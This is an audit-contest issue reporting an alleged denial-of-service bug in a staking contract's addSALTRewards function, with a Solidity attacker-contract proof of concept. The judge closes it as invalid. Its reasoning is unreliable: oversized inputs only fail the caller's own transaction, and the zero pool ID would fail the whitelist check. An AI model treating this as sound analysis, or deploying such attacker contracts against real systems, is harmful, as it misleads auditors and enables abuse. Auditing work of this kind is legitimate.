code-423n4 / 2024-01-salty-findings

11 stars 6 forks source link

Exploiting Unbounded Array Input in 'addSALTRewards' for DoS Vulnerability in StakingRewards.sol #98

Closed c4-bot-8 closed 7 months ago

c4-bot-8 commented 8 months ago

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L185

Vulnerability details

Description

The addSALTRewards function takes an array of AddedReward structures as an argument. Each AddedReward includes a poolID and an amountToAdd, dictating the reward distribution to different pools.

function addSALTRewards( AddedReward[] calldata addedRewards ) external nonReentrant
        {
        uint256 sum = 0;
        for( uint256 i = 0; i < addedRewards.length; i++ )
            {
            AddedReward memory addedReward = addedRewards[i];

            bytes32 poolID = addedReward.poolID;
            require( poolsConfig.isWhitelisted( poolID ), "Invalid pool" );

            uint256 amountToAdd = addedReward.amountToAdd;

            totalRewards[ poolID ] += amountToAdd;
            sum = sum + amountToAdd;

            emit SaltRewardsAdded(poolID, amountToAdd);
            }

        // Transfer in the SALT for all the specified rewards
        if ( sum > 0 )
            {
            // Transfer the SALT rewards from the sender
            salt.safeTransferFrom( msg.sender, address(this), sum );
            }
        }

Vulnerability Details:

  1. Lack of Input Validation: The function does not implement any checks on the size of the input array. Consequently, it accepts arrays of arbitrary length.

  2. Gas Consumption and Block Limitation: Ethereum transactions are constrained by a block gas limit, which caps the amount of computational work that can be done in a single transaction. Processing a very large array in addSALTRewards can consume an excessive amount of gas, potentially exceeding this block limit. This leads to transaction failure, consuming the provided gas without completing the execution.

  3. Denial of Service (DoS) Potential: An attacker can exploit this vulnerability by repeatedly calling addSALTRewards with extremely large arrays. This can lead to a consistent failure of transactions due to out-of-gas errors, effectively causing a DoS condition. Such attacks, especially if persistent, can disrupt the normal functionality of the contract, impede legitimate transactions, and cause network congestion.

Here is a POC of an Attacker contract

pragma solidity ^0.8.22;

interface IStakingRewards {
    struct AddedReward {
        bytes32 poolID;
        uint256 amountToAdd;
    }

    function addSALTRewards(AddedReward[] calldata addedRewards) external;
}

contract AttackerContract {
    IStakingRewards public stakingRewardsContract;

    constructor(address _stakingRewardsAddress) {
        stakingRewardsContract = IStakingRewards(_stakingRewardsAddress);
    }

    function attack() external {
    uint256 arraySize = 1000;  
    IStakingRewards.AddedReward[] memory largeArray = new IStakingRewards.AddedReward[](arraySize);

    for (uint256 i = 0; i < arraySize; i++) {
        largeArray[i] = IStakingRewards.AddedReward({
            poolID: bytes32(0),  
            amountToAdd: 1       
        });
    }

        // Call the addSALTRewards function with the large array
        stakingRewardsContract.addSALTRewards(largeArray);
    }
}

Here, largeArray is filled with 1000 AddedReward structs, each having a poolID of bytes32(0) and an amountToAdd of 1. When attack() is called, it sends this large array to the addSALTRewards function of the StakingRewards contract.

Recommendation for Mitigation:

  1. Implement Array Size Limits: Introduce a maximum limit on the size of the addedRewards array to prevent excessively large inputs.

  2. Enhance Access Control: Apply stricter access control measures to restrict who can call the addSALTRewards function. This could include permission checks, allowing only specific addresses or contract owners to execute this function.

  3. Monitoring and Alerts: Implement monitoring systems to flag unusually large transactions or repeated failed transactions, enabling prompt response to potential attacks.

Assessed type

DoS

c4-judge commented 7 months ago

Picodes marked the issue as unsatisfactory: Invalid